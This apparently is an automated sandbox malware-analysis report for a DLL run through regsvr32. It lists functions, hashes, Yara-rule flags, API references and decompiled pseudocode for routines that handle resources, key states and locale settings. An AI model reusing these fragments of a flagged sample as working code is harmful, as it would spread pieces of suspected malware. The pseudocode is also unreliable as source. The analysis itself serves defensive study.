@, xrefs: 0000000180017DD7
6#, xrefs: 0000000180017DF0
n9, xrefs: 0000000180017DBD
i}, xrefs: 0000000180017D8F
6!, xrefs: 0000000180017D05

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6!$6#$@$i}$n9
API String ID: 0-1787173881
Opcode ID: 2b4902dbcb4eb5bc05f0f850ea603cf6fde7e3e2f3ded1d60ec1fc6203fda5f6
Instruction ID: dfcb446a1a6d0a379dc28fe8b0b4aa0e09e6a2afc1fa0dc9715d227aa70d9a13
Opcode Fuzzy Hash: 2b4902dbcb4eb5bc05f0f850ea603cf6fde7e3e2f3ded1d60ec1fc6203fda5f6
Instruction Fuzzy Hash: 9D51A6B090038A8FDF48CF68C8864DE7BB1FB54358F104A1DF866A6290D7B89665CF95

Uniqueness

Uniqueness Score: -1.00%

Function 1001B1B0 Relevance: 6.1, APIs: 4, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E1001B1B0(void* __ebx, void* __edx, signed int* __rax, void* __rcx, void* __rdx) {
				signed int _t17;
				void* _t23;
				signed int _t24;
				signed int _t26;
				void* _t27;
				signed int* _t37;
				signed int* _t47;
				void* _t48;
				signed int* _t49;
				void* _t50;
				void* _t51;
				void* _t52;

				_t37 = __rax;
				_t47 =  *((intOrPtr*)(__rcx + 0xc0));
				_t49 =  *((intOrPtr*)(__rcx + 0xb8));
				_t48 = __rcx;
				if( *((long long*)(__rcx + 0xb0)) != 0) {
					E1001A994(__ebx, __edx, _t27, __rax, _t50, _t51, _t52);
					r8d = 5;
					FindResourceA(??, ??, ??);
					LoadResource(??, ??);
					_t49 = __rax;
				}
				if(_t49 != 0) {
					LockResource();
					_t47 = _t37;
				}
				_t23 = 1;
				if(_t47 != 0) {
					_t24 =  *_t47;
					if(_t47[0] != 0xffff) {
						_t26 = _t47[2];
						_t17 = _t47[3];
					} else {
						_t24 = _t47[3];
						_t26 = _t47[4] & 0x0000ffff;
						_t17 = _t47[5] & 0x0000ffff;
					}
					if((_t24 & 0x00001801) != 0 || _t26 != 0 || _t17 != 0) {
						_t23 = 0;
					}
				}
				if( *((long long*)(_t48 + 0xb0)) != 0) {
					FreeResource();
				}
				return _t23;
			}

0x1001b1b0
0x1001b1c1
0x1001b1c8
0x1001b1cf
0x1001b1d2
0x1001b1d4
0x1001b1e0
0x1001b1ed
0x1001b1f9
0x1001b1ff
0x1001b1ff
0x1001b205
0x1001b20a
0x1001b210
0x1001b210
0x1001b216
0x1001b21b
0x1001b223
0x1001b225
0x1001b234
0x1001b238
0x1001b227
0x1001b227
0x1001b22a
0x1001b22e
0x1001b22e
0x1001b242
0x1001b24e
0x1001b24e
0x1001b242
0x1001b258
0x1001b25d
0x1001b25d
0x1001b26d

APIs

FindResourceA.KERNEL32 ref: 1001B1ED
LoadResource.KERNEL32 ref: 1001B1F9
LockResource.KERNEL32 ref: 1001B20A
FreeResource.KERNEL32 ref: 1001B25D

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: ec80568bf58843a24e32dc47683b6f4d80f6f00f3a05984c2612200512bc75ab
Instruction ID: a36818f63d0e1f257ac787d3becc35d4c25e524f691b1c630ac001cbd06f75b2
Opcode Fuzzy Hash: ec80568bf58843a24e32dc47683b6f4d80f6f00f3a05984c2612200512bc75ab
Instruction Fuzzy Hash: 5911A32A602B818ADA5ADF16D9443AE6371FB48FD1F084034DF450B750EF78D8D9C700

Uniqueness

Uniqueness Score: -1.00%

Function 10014B20 Relevance: 6.0, APIs: 4, Instructions: 49keyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 1001990C: GetWindowLongA.USER32 ref: 10019923

GetKeyState.USER32 ref: 10014B60
GetKeyState.USER32 ref: 10014B70
GetKeyState.USER32 ref: 10014B80
SendMessageA.USER32 ref: 10014B9D

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: State$LongMessageSendWindow
String ID:
API String ID: 1063413437-0
Opcode ID: 2fbf9a403d3a5486fecb2d4b4f00abca07ebd9a279d7f855252b58b06426d1a1
Instruction ID: 887ef852c8ea70bb1fa04c1bfd49c7bc797eab9c78d864813012c783f97a09bf
Opcode Fuzzy Hash: 2fbf9a403d3a5486fecb2d4b4f00abca07ebd9a279d7f855252b58b06426d1a1
Instruction Fuzzy Hash: D501DB3571454843EA54AB65E8AD3DC0391E788BD1F998434DF4B0F795CF78C8C6A321

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002B814 Relevance: 5.4, Strings: 4, Instructions: 447COMMON

Download Yara Rule

Strings

oe, xrefs: 000000018002BBE1
o,H, xrefs: 000000018002BD92
B, xrefs: 000000018002BA9D
|, xrefs: 000000018002BE30

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: B$o,H$oe$|
API String ID: 0-1450200202
Opcode ID: eb7dc589868949cc06845e249a59bbac3eb48efeef2b5def8e8bdd618083201d
Instruction ID: ad6c96c888f5e2356c9f9cf6278df2aeccda97a49145fadb0406a94caf62cc51
Opcode Fuzzy Hash: eb7dc589868949cc06845e249a59bbac3eb48efeef2b5def8e8bdd618083201d
Instruction Fuzzy Hash: 2142C2709093C88BDBF9CE24C8857DD7BF0FF48344F50515A984E9A698CBB86689CF42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180016F84 Relevance: 5.4, Strings: 4, Instructions: 393COMMON

Download Yara Rule

Strings

e, xrefs: 0000000180017511
j3, xrefs: 00000001800170D3
]={e, xrefs: 0000000180017075
vY, xrefs: 00000001800173A4

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ]={e$e$j3$vY
API String ID: 0-123947174
Opcode ID: 8a84998f0139f0b08c8b00a087af6dd888c73ee0dc2818e8e645d18272d8ded9
Instruction ID: 13713329a94410a80b0705ed5eefb41f4ffa1649a6774c735d4cb2b8a58d05f5
Opcode Fuzzy Hash: 8a84998f0139f0b08c8b00a087af6dd888c73ee0dc2818e8e645d18272d8ded9
Instruction Fuzzy Hash: CD12F37091068DEBEB99CF28C88AADD7BB1FB44394F90621DFD0687290D775D985CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180018764 Relevance: 5.4, Strings: 4, Instructions: 363COMMON

Download Yara Rule

Strings

N, xrefs: 000000018001878C
n4, xrefs: 0000000180018B2D
w+, xrefs: 000000018001888F
w+, xrefs: 00000001800188A7

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: n4$w+$w+$N
API String ID: 0-2961986531
Opcode ID: 0d194a16f5accb380c2c15325853410ed1780da0bf505a3de450cfc91ce51ca1
Instruction ID: 316ad99e46e342934dae9ec80759401f3ae0281e96e392361af4f422b37ef8e3
Opcode Fuzzy Hash: 0d194a16f5accb380c2c15325853410ed1780da0bf505a3de450cfc91ce51ca1
Instruction Fuzzy Hash: 2912B571505B888FEBB9DF28CC99BEB7BA0FB44306F10551ED84A9A290DFB45644CF41

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BE20 Relevance: 5.2, Strings: 4, Instructions: 229COMMON

Download Yara Rule

Strings

u(, xrefs: 000000018000C07F
k#', xrefs: 000000018000BF15
#3x8fO, xrefs: 000000018000C0AD
bN, xrefs: 000000018000C006

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: #3x8fO$bN$k#'$u(
API String ID: 0-4268316349
Opcode ID: 2c61010ef2788ced1a0da787ace6d749931b958fc66b6adfc1ebea13e0db4603
Instruction ID: 96e8f44a832bd9b442e41aee13f8da947491d4ba17606693fd2d88573ae27012
Opcode Fuzzy Hash: 2c61010ef2788ced1a0da787ace6d749931b958fc66b6adfc1ebea13e0db4603
Instruction Fuzzy Hash: A4B1197090074D8FDF88DF68C88A6EE7BB1FB4C358F165219E84AB6290C7789545CF89

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000C3F4 Relevance: 5.1, Strings: 4, Instructions: 141COMMON

Download Yara Rule

Strings

P>r, xrefs: 000000018000C68A
fzJ, xrefs: 000000018000C625
Fs, xrefs: 000000018000C40C
a5, xrefs: 000000018000C6B2

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Fs$P>r$a5$fzJ
API String ID: 0-4287909635
Opcode ID: 7dd405c7b2bb97a3bcc252dca82dd589835f06c0b9292487cc0564cf127bc076
Instruction ID: 5c23c53c0cd5064a434dace5b4004eaad417420dce83b50a7f9d0c1ee0315250
Opcode Fuzzy Hash: 7dd405c7b2bb97a3bcc252dca82dd589835f06c0b9292487cc0564cf127bc076
Instruction Fuzzy Hash: 4A71E57150478CAFDBBACF24C8967DA7BA0FB48304F508619D94E8E290DF745749DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800033A8 Relevance: 5.1, Strings: 4, Instructions: 128COMMON

Download Yara Rule

Strings

0`, xrefs: 00000001800034C5
s}, xrefs: 00000001800035A2
iA, xrefs: 00000001800033CC
tU, xrefs: 0000000180003416

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 0`$iA$s}$tU
API String ID: 0-4045249792
Opcode ID: a55ab10d2f05d7a785df86d93f83c816d52335dbec14f2454dae7a07824047f1
Instruction ID: d86601e8bc9f6a56766fedffb7c1e6002092909871cbc7a0e4efa898773c72ee
Opcode Fuzzy Hash: a55ab10d2f05d7a785df86d93f83c816d52335dbec14f2454dae7a07824047f1
Instruction Fuzzy Hash: 7761B3B190038E8FDF48DF68D8865DE7BB1FB48348F104A1DF826962A0D7B49664CF85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000145C Relevance: 5.1, Strings: 4, Instructions: 116COMMON

Download Yara Rule

Strings

r, xrefs: 00000001800014F1
z, xrefs: 00000001800015A0
(, xrefs: 00000001800014F9
, xrefs: 00000001800014C9

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $r$($z
API String ID: 0-2061920928
Opcode ID: a76c29ef8827a5c2209fd7f59c6b1ad8e4a764c2c161a09283b0b84c4b89e109
Instruction ID: 65493d30ae1e9cc73a6a287be92af18219ab4292eee876ba2bdeca8e48c12ebd
Opcode Fuzzy Hash: a76c29ef8827a5c2209fd7f59c6b1ad8e4a764c2c161a09283b0b84c4b89e109
Instruction Fuzzy Hash: 145105B060DB848BE778DF19D485B9BBBE1FB88340F104A6EE58987355DB709844CB86

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000EE5C Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

M, xrefs: 000000018000EF18
Cw, xrefs: 000000018000EFEC
x, xrefs: 000000018000EF50
, xrefs: 000000018000EFAD

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: Cw$x$ $M
API String ID: 0-3793167312
Opcode ID: d07f260ccb99bc09cb65e67b769dac3c43ada687e8c57ece6e07aaebbf6c410d
Instruction ID: 2e6e48937d0da88cf63356fa9024f40dbd04a6074239175a01ee3cc7b265f55e
Opcode Fuzzy Hash: d07f260ccb99bc09cb65e67b769dac3c43ada687e8c57ece6e07aaebbf6c410d
Instruction Fuzzy Hash: 4251B6B190074A8BDF48CF68D48A4DE7FB1FB58398F14461DE815AA250D3B8D6A4CFC4

Uniqueness

Uniqueness Score: -1.00%

Function 000000018001531C Relevance: 5.1, Strings: 4, Instructions: 107COMMON

Download Yara Rule

Strings

6i, xrefs: 00000001800153FC
^&, xrefs: 0000000180015436
?+, xrefs: 0000000180015424
xv, xrefs: 0000000180015472

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 6i$?+$^&$xv
API String ID: 0-929296306
Opcode ID: 2e4b00644d5c20af28d557e843a91a5cf17a897f7df3e22c26379499ca117c45
Instruction ID: 6ded3e0a5b778226b5eb6e65e787c17b22ead5ec3006174dbe44e1e71d6f24b8
Opcode Fuzzy Hash: 2e4b00644d5c20af28d557e843a91a5cf17a897f7df3e22c26379499ca117c45
Instruction Fuzzy Hash: E951B2B090074A8FDF48DF64C48A4DE7FB0FB68398F254219E856A6290D37896A4CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180014274 Relevance: 5.1, Strings: 4, Instructions: 71COMMON

Download Yara Rule

Strings

Iwvz, xrefs: 000000018001437C
Fh9N, xrefs: 00000001800143A2
Fh9N, xrefs: 000000018001439C
?j, xrefs: 0000000180014352

Memory Dump Source

Source File: 00000008.00000002.943086830.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: ?j$Fh9N$Fh9N$Iwvz
API String ID: 0-3006185969
Opcode ID: 42444791b3df4d7984d28eb9468fccc25383a5995f3957547fe708fef2c00a10
Instruction ID: 00f25f5275fb4a0b58c99df9454a9b51e5db67d9b281ff0cff1b4d01f01425f0
Opcode Fuzzy Hash: 42444791b3df4d7984d28eb9468fccc25383a5995f3957547fe708fef2c00a10
Instruction Fuzzy Hash: ED31F2B580034E8FDF49CF64C88A5DE7FB0FB18398F114619E85AA6250D3B89694CFD6

Uniqueness

Uniqueness Score: -1.00%

Function 10047560 Relevance: 4.7, APIs: 3, Instructions: 191
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E10047560(void* __ebx, void* __ecx, long long __rbx, signed char* __rcx, void* __rdx, long long __rdi, signed long long __rsi, long long __rbp, void* __r8, void* __r9, void* __r10, void* __r12, long long __r13, void* _a16, long long _a24, void* _a32) {
				void* _v8;
				long long _v16;
				signed int _v40;
				char _v168;
				int _t81;
				signed int _t82;
				signed int _t90;
				signed int _t91;
				signed int _t92;
				signed int _t93;
				signed int _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				void* _t104;
				signed int _t108;
				void* _t110;
				void* _t111;
				signed int _t113;
				void* _t116;
				signed int _t117;
				signed int _t118;
				signed int _t119;
				signed long long _t129;
				signed long long _t130;
				signed long long _t132;
				void* _t148;
				signed char* _t155;
				intOrPtr _t157;
				signed long long _t158;
				long long _t160;
				signed long long _t162;
				void* _t170;
				signed long long _t172;
				long long _t174;

				_t174 = __r13;
				_t173 = __r12;
				_t170 = __r9;
				_t160 = __rbp;
				_t158 = __rsi;
				_t148 = __rdx;
				_t104 = __ebx;
				_t172 = _t162;
				_t129 =  *0x100b1640; // 0xf93099fb11e7
				_t130 = _t129 ^ _t162;
				_v40 = _t130;
				 *((long long*)(_t172 + 0x10)) = __rbx;
				 *((long long*)(_t172 + 0x20)) = __rsi;
				 *((long long*)(_t172 - 8)) = __rdi;
				_t155 = __rcx;
				E10035F70(_t130, __rbx, __rcx, __rdx, __rcx, __rsi, __rbp, __r8, __r12);
				_t108 =  *_t155 & 0x000000ff;
				_t119 = 0;
				_t132 = _t130;
				if(_t108 == 0) {
					L7:
					_t12 = _t130 + 0x71; // 0x78
					r9d = _t12;
					_t106 = _t119;
					_t110 =  !=  ? 7 : 0x1002;
					_t81 = GetLocaleInfoA(??, ??, ??, ??);
					if(_t81 != 0) {
						_a24 = _t160;
						_v16 = _t174;
						_t82 = E1004D7B0(_t104, _t130, _t132,  *((intOrPtr*)(_t132 + 0x148)),  &_v168, _t155, _t158, _t160,  &_v168, _t173);
						__eflags = _t82;
						r13d = 3;
						if(_t82 != 0) {
							L23:
							__eflags = ( *(_t132 + 0x150) & 0x00000300) - 0x300;
							if(( *(_t132 + 0x150) & 0x00000300) == 0x300) {
								L40:
								__eflags =  !( *(_t132 + 0x150) >> 2) & 0x00000001;
								L41:
								L42:
								return E1002FF40(_t106, _v40 ^ _t162);
							}
							__eflags =  *(_t132 + 0x158);
							r9d = 0x78;
							_t122 =  !=  ? r13d : 0x1001;
							_t106 = _t119;
							_t111 =  !=  ? r13d : 0x1001;
							_t90 = GetLocaleInfoA(??, ??, ??, ??);
							__eflags = _t90;
							if(_t90 != 0) {
								_t91 = E1004D7B0(_t104, _t130, _t132,  *((intOrPtr*)(_t132 + 0x140)),  &_v168, _t155, _t158, _t160,  &_v168, _t173);
								__eflags = _t91;
								if(_t91 != 0) {
									__eflags =  *(_t132 + 0x158);
									if( *(_t132 + 0x158) != 0) {
										goto L40;
									}
									__eflags =  *(_t132 + 0x154);
									if( *(_t132 + 0x154) == 0) {
										goto L40;
									}
									_t139 =  *((intOrPtr*)(_t132 + 0x140));
									_t92 = E1004D7B0(_t104, _t130, _t132,  *((intOrPtr*)(_t132 + 0x140)),  &_v168, _t155, _t158, _t160,  &_v168, _t173);
									__eflags = _t92;
									if(_t92 != 0) {
										goto L40;
									}
									_t67 = _t132 + 0x140; // 0x140
									_t106 = _t119;
									_t93 = E10047440(_t119, 0, _t132, _t139, _t155, _t158, _t160, _t67, _t170);
									__eflags = _t93;
									if(_t93 == 0) {
										goto L40;
									}
									 *(_t132 + 0x150) =  *(_t132 + 0x150) | 0x00000100;
									__eflags =  *(_t132 + 0x160);
									L38:
									if(__eflags == 0) {
										 *(_t132 + 0x160) = _t119;
									}
									goto L40;
								}
								 *(_t132 + 0x150) =  *(_t132 + 0x150) | 0x00000200;
								__eflags =  *(_t132 + 0x158) - _t91;
								_t113 =  *(_t132 + 0x150);
								if( *(_t132 + 0x158) != _t91) {
									L32:
									asm("bts edx, 0x8");
									__eflags =  *(_t132 + 0x160);
									 *(_t132 + 0x150) = _t113;
									goto L38;
								}
								r8d =  *(_t132 + 0x154);
								__eflags = r8d;
								if(r8d == 0) {
									goto L32;
								}
								_t157 =  *((intOrPtr*)(_t132 + 0x140));
								asm("repne scasb");
								__eflags = _t106 - r8d;
								if(_t106 != r8d) {
									goto L32;
								}
								_t56 = _t132 + 0x140; // 0x140
								_t57 = _t130 + 1; // 0x1
								_t106 = _t119;
								_t95 = E10047440(_t119, _t57, _t132, 0xbadbac, _t157, _t158, _t160, _t56, _t170);
								__eflags = _t95;
								if(_t95 == 0) {
									goto L40;
								}
								 *(_t132 + 0x150) =  *(_t132 + 0x150) | 0x00000100;
								__eflags =  *(_t132 + 0x160);
								goto L38;
							}
							L25:
							 *(_t132 + 0x150) = 0;
							goto L41;
						}
						__eflags =  *(_t132 + 0x158) - _t82;
						r9d = _t174 + 0x75;
						_t106 = _t119;
						_t116 =  !=  ? r13d : 0x1001;
						_t97 = GetLocaleInfoA(??, ??, ??, ??);
						__eflags = _t97;
						if(_t97 == 0) {
							goto L25;
						}
						_t98 = E1004D7B0(_t104, _t130, _t132,  *((intOrPtr*)(_t132 + 0x140)),  &_v168, _t155, _t158, _t160,  &_v168, _t173);
						__eflags = _t98;
						if(_t98 != 0) {
							__eflags =  *(_t132 + 0x150) & 0x00000002;
							if(( *(_t132 + 0x150) & 0x00000002) != 0) {
								goto L23;
							}
							_t130 =  *(_t132 + 0x154);
							__eflags = _t98;
							if(_t98 == 0) {
								L18:
								_t117 =  *(_t132 + 0x150);
								__eflags = _t117 & 0x00000001;
								if((_t117 & 0x00000001) != 0) {
									goto L23;
								}
								_t106 = 0;
								__eflags = 0;
								_t130 = 0x1009e2b0;
								while(1) {
									__eflags = _t119 -  *_t130;
									if(_t119 ==  *_t130) {
										goto L23;
									}
									_t106 = _t106 + 1;
									_t130 = _t130 + 2;
									__eflags = _t106 - 0xa;
									if(_t106 < 0xa) {
										continue;
									}
									_t118 = _t117 | 0x00000001;
									__eflags = _t118;
									 *(_t132 + 0x164) = _t119;
									 *(_t132 + 0x150) = _t118;
									goto L23;
								}
								goto L23;
							}
							_t99 = E1004DAC0(_t104, _t130, _t132,  *((intOrPtr*)(_t132 + 0x140)),  &_v168, _t155, _t158, _t130, _t170, _t173);
							__eflags = _t99;
							if(_t99 != 0) {
								goto L18;
							}
							 *(_t132 + 0x150) =  *(_t132 + 0x150) | 0x00000002;
							_t155 =  *((intOrPtr*)(_t132 + 0x140));
							 *(_t132 + 0x164) = _t119;
							asm("repne scasb");
							__eflags = _t106 -  *(_t132 + 0x154);
							if(_t106 ==  *(_t132 + 0x154)) {
								 *(_t132 + 0x160) = _t119;
							}
							goto L23;
						}
						 *(_t132 + 0x150) =  *(_t132 + 0x150) | 0x00000304;
						 *(_t132 + 0x164) = _t119;
						 *(_t132 + 0x160) = _t119;
						goto L23;
					}
					 *(_t132 + 0x150) = _t81;
					goto L42;
				} else {
					do {
						_t155 =  &(_t155[1]);
						if(_t148 - 0x61 > 5) {
							__eflags = _t148 - 0x41 - 5;
							if(_t148 - 0x41 <= 5) {
								__eflags = _t108;
							}
						} else {
							_t108 = _t108 + 0xd9;
						}
						_t108 =  *_t155;
						_t119 = _t130 + _t158 * 8 - 0x30;
					} while (_t108 != 0);
					goto L7;
				}
			}

0x10047560
0x10047560
0x10047560
0x10047560
0x10047560
0x10047560
0x10047560
0x10047560
0x1004756a
0x10047571
0x10047574
0x1004757c
0x10047580
0x10047584
0x10047588
0x1004758b
0x10047590
0x10047593
0x10047597
0x1004759a
0x100475ca
0x100475e0
0x100475e0
0x100475e4
0x100475e6
0x100475e9
0x100475f1
0x1004760f
0x10047617
0x1004761f
0x10047629
0x1004762b
0x10047631
0x10047726
0x10047731
0x10047736
0x1004785a
0x10047865
0x10047868
0x10047878
0x100478a7
0x100478a7
0x1004773c
0x10047748
0x1004774e
0x10047752
0x10047754
0x10047756
0x1004775c
0x1004775e
0x10047780
0x10047785
0x10047787
0x10047806
0x1004780d
0x00000000
0x00000000
0x1004780f
0x10047816
0x00000000
0x00000000
0x10047818
0x10047824
0x10047829
0x1004782b
0x00000000
0x00000000
0x1004782d
0x10047836
0x10047838
0x1004783d
0x1004783f
0x00000000
0x00000000
0x10047841
0x1004784b
0x10047852
0x10047852
0x10047854
0x10047854
0x00000000
0x10047852
0x10047789
0x10047793
0x10047799
0x1004779f
0x100477f3
0x100477f3
0x100477f7
0x100477fe
0x00000000
0x100477fe
0x100477a1
0x100477a8
0x100477ab
0x00000000
0x00000000
0x100477ad
0x100477bd
0x100477c6
0x100477c9
0x00000000
0x00000000
0x100477cb
0x100477d2
0x100477d5
0x100477d7
0x100477dc
0x100477de
0x00000000
0x00000000
0x100477e0
0x100477ea
0x00000000
0x100477ea
0x10047760
0x10047760
0x00000000
0x1004776a
0x10047637
0x1004763f
0x10047648
0x1004764a
0x1004764e
0x10047654
0x10047656
0x00000000
0x00000000
0x10047668
0x1004766d
0x1004766f
0x1004768c
0x10047693
0x00000000
0x00000000
0x10047699
0x100476a0
0x100476a2
0x100476f2
0x100476f2
0x100476f8
0x100476fb
0x00000000
0x00000000
0x100476fd
0x100476fd
0x100476ff
0x10047706
0x10047706
0x10047709
0x00000000
0x00000000
0x1004770b
0x1004770e
0x10047712
0x10047715
0x00000000
0x00000000
0x10047717
0x10047717
0x1004771a
0x10047720
0x00000000
0x10047720
0x00000000
0x10047706
0x100476b3
0x100476b8
0x100476ba
0x00000000
0x00000000
0x100476bc
0x100476c3
0x100476d3
0x100476d9
0x100476e2
0x100476e8
0x100476ea
0x100476ea
0x00000000
0x100476e8
0x10047671
0x1004767b
0x10047681
0x00000000
0x10047681
0x100475f3
0x00000000
0x100475a0
0x100475a0
0x100475a3
0x100475aa
0x100475b4
0x100475b6
0x100475b8
0x100475b8
0x100475ac
0x100475ac
0x100475ac
0x100475be
0x100475c4
0x100475c4
0x00000000
0x100475a0

APIs

Part of subcall function 10035F70: GetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F7E
Part of subcall function 10035F70: FlsGetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035F8C
Part of subcall function 10035F70: FlsSetValue.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FB8
Part of subcall function 10035F70: GetCurrentThreadId.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FCC
Part of subcall function 10035F70: SetLastError.KERNEL32(?,?,?,?,1003DEC9), ref: 10035FEA

GetLocaleInfoA.KERNEL32 ref: 100475E9
GetLocaleInfoA.KERNEL32 ref: 1004764E
GetLocaleInfoA.KERNEL32 ref: 10047756

Memory Dump Source

Source File: 00000008.00000002.942771458.0000000010001000.00000020.00000001.01000000.00000007.sdmp, Offset: 10000000, based on PE: true

Associated: 00000008.00000002.942758782.0000000010000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.942876906.0000000010057000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943035310.00000000100B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943045135.00000000100B7000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000008.00000002.943054479.00000000100BA000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_10000000_regsvr32.jbxd

Similarity

API ID: InfoLocale$ErrorLastValue$CurrentThread
String ID:
API String ID: 1389169356-0
Opcode ID: d7e053b20cc5d4d08604708fb1bc255597ec08adbbf24ce18361afc789e0bfaa
Instruction ID: 594254f9b35b2e200bd59b65e3285a487f588b19dbf8780d4c91ea21745a6bab
Opcode Fuzzy Hash: d7e053b20cc5d4d08604708fb1bc255597ec08adbbf24ce18361afc789e0bfaa
Instruction Fuzzy Hash: 99818B36604AC1C6D721CF21D8483DE37A1F788B89F65423ACE5DCB698EB78C949CB54

Uniqueness

Uniqueness Score: -1.00%

Function 10040590 Relevance: 4.5, APIs: 3, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 48%

			E10040590(long long __rax, long long __rbx, void* __rdx, long long __rdi, long long __rsi, void* __r8, long long __r12, long long __r13, long long __r14, long long __r15) {
				int _t48;
				void* _t49;
				intOrPtr _t58;
				long long _t68;
				intOrPtr _t70;
				void* _t74;
				signed char _t77;
				intOrPtr _t91;
				signed long long _t108;
				signed long long _t109;
				long long _t112;
				signed char* _t114;
				signed long long _t115;
				void* _t116;
				signed long long _t120;
				long long _t130;
				long long _t132;
				signed char* _t133;
				long long _t135;
				void* _t138;
				void* _t139;
				signed long long _t140;
				void* _t144;
				void* _t149;
				void* _t150;
				long long _t151;
				long long _t153;
				void* _t154;
				intOrPtr _t156;
				long long _t157;
				long long _t159;

				_t159 = __r15;
				_t157 = __r14;
				_t153 = __r13;
				_t151 = __r12;
				_t142 = __r8;
				_t132 = __rsi;
				_t130 = __rdi;
				_t128 = __rdx;
				_t112 = __rbx;
				_t107 = __rax;
